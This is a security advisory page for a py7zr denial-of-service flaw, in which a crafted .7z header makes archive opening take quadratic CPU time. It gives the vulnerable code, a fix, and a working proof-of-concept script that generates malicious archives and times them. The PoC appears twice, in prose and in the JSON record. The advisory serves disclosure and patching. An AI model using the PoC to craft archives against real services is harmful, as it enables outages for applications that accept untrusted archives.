PYSEC-2026-2973

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY

MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()

def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue()

  out = io.BytesIO()
  out.write(MAGIC)
  out.write(b'\x00\x04')
  next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
  start_header = (struct.pack('<Q', 0)
                  + struct.pack('<Q', len(header_data))
                  + struct.pack('<I', next_crc))
  out.write(struct.pack('<I', binascii.crc32(start_header) &

0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue()

for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.init(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

Impacted products
Name purl
py7zr pkg:pypi/py7zr

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr",
        "purl": "pkg:pypi/py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.1.0",
        "0.1.1",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.10.0",
        "0.10.0a1",
        "0.10.0a2",
        "0.10.0a3",
        "0.10.0a4",
        "0.10.0a5",
        "0.10.0a6",
        "0.10.0b1",
        "0.10.0b3",
        "0.10.1",
        "0.10.2",
        "0.11.0",
        "0.11.0a1",
        "0.11.0b1",
        "0.11.0b2",
        "0.11.0b3",
        "0.11.1",
        "0.11.2",
        "0.11.3",
        "0.12.0",
        "0.13.0",
        "0.13.1",
        "0.14.0",
        "0.14.1",
        "0.15.0",
        "0.15.1",
        "0.15.2",
        "0.16.0",
        "0.16.1",
        "0.16.2",
        "0.16.3",
        "0.16.4",
        "0.17.0",
        "0.17.1",
        "0.17.2",
        "0.17.3",
        "0.17.4",
        "0.18.0",
        "0.18.1",
        "0.18.10",
        "0.18.11",
        "0.18.12",
        "0.18.3",
        "0.18.4",
        "0.18.5",
        "0.18.6",
        "0.18.7",
        "0.18.9",
        "0.19.0",
        "0.19.1",
        "0.19.2",
        "0.2.0",
        "0.20.0",
        "0.20.1",
        "0.20.2",
        "0.20.4",
        "0.20.5",
        "0.20.6",
        "0.20.7",
        "0.20.8",
        "0.21.0",
        "0.21.1",
        "0.22.0",
        "0.3",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.3.5",
        "0.4",
        "0.4.1",
        "0.4.3",
        "0.4.4",
        "0.4a1",
        "0.4a2",
        "0.4b1",
        "0.5",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5",
        "0.5a3",
        "0.5a4",
        "0.5b1",
        "0.5b2",
        "0.5b3",
        "0.5b4",
        "0.5b5",
        "0.5b6",
        "0.5rc2",
        "0.5rc3",
        "0.6",
        "0.6a1",
        "0.6a2",
        "0.6b1",
        "0.6b2",
        "0.6b3",
        "0.6b4",
        "0.6b5",
        "0.6b6",
        "0.6b7",
        "0.6b8",
        "0.6rc0",
        "0.7.0",
        "0.7.0b1",
        "0.7.0b2",
        "0.7.0b3",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.7.4",
        "0.8.0",
        "0.8.0a1",
        "0.8.0a2",
        "0.8.0a3",
        "0.8.0b1",
        "0.8.0b2",
        "0.8.0b3",
        "0.8.0b4",
        "0.8.0b5",
        "0.8.0b6",
        "0.8.0b7",
        "0.8.0b8",
        "0.8.1",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.9.0",
        "0.9.0a1",
        "0.9.0a2",
        "0.9.0b1",
        "0.9.0b2",
        "0.9.0b3",
        "0.9.1",
        "0.9.10",
        "0.9.2",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "1.0.0",
        "1.0.0rc1",
        "1.0.0rc2",
        "1.0.0rc3",
        "1.1.0",
        "1.1.0rc2",
        "1.1.0rc4",
        "1.1.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55206",
    "GHSA-h4gh-22qq-72r7"
  ],
  "details": "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() \u2014 no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix \u2014 replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b\u0027\\x37\\x7a\\xbc\\xaf\\x27\\x1c\u0027\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b\u0027\\x00\\x04\u0027)\n      next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n      start_header = (struct.pack(\u0027\u003cQ\u0027, 0)\n                      + struct.pack(\u0027\u003cQ\u0027, len(header_data))\n                      + struct.pack(\u0027\u003cI\u0027, next_crc))\n      out.write(struct.pack(\u0027\u003cI\u0027, binascii.crc32(start_header) \u0026\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), \u0027r\u0027) as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.",
  "id": "PYSEC-2026-2973",
  "modified": "2026-07-13T16:05:50.327067Z",
  "published": "2026-07-13T15:46:22.282856Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/py7zr"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h4gh-22qq-72r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55206"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…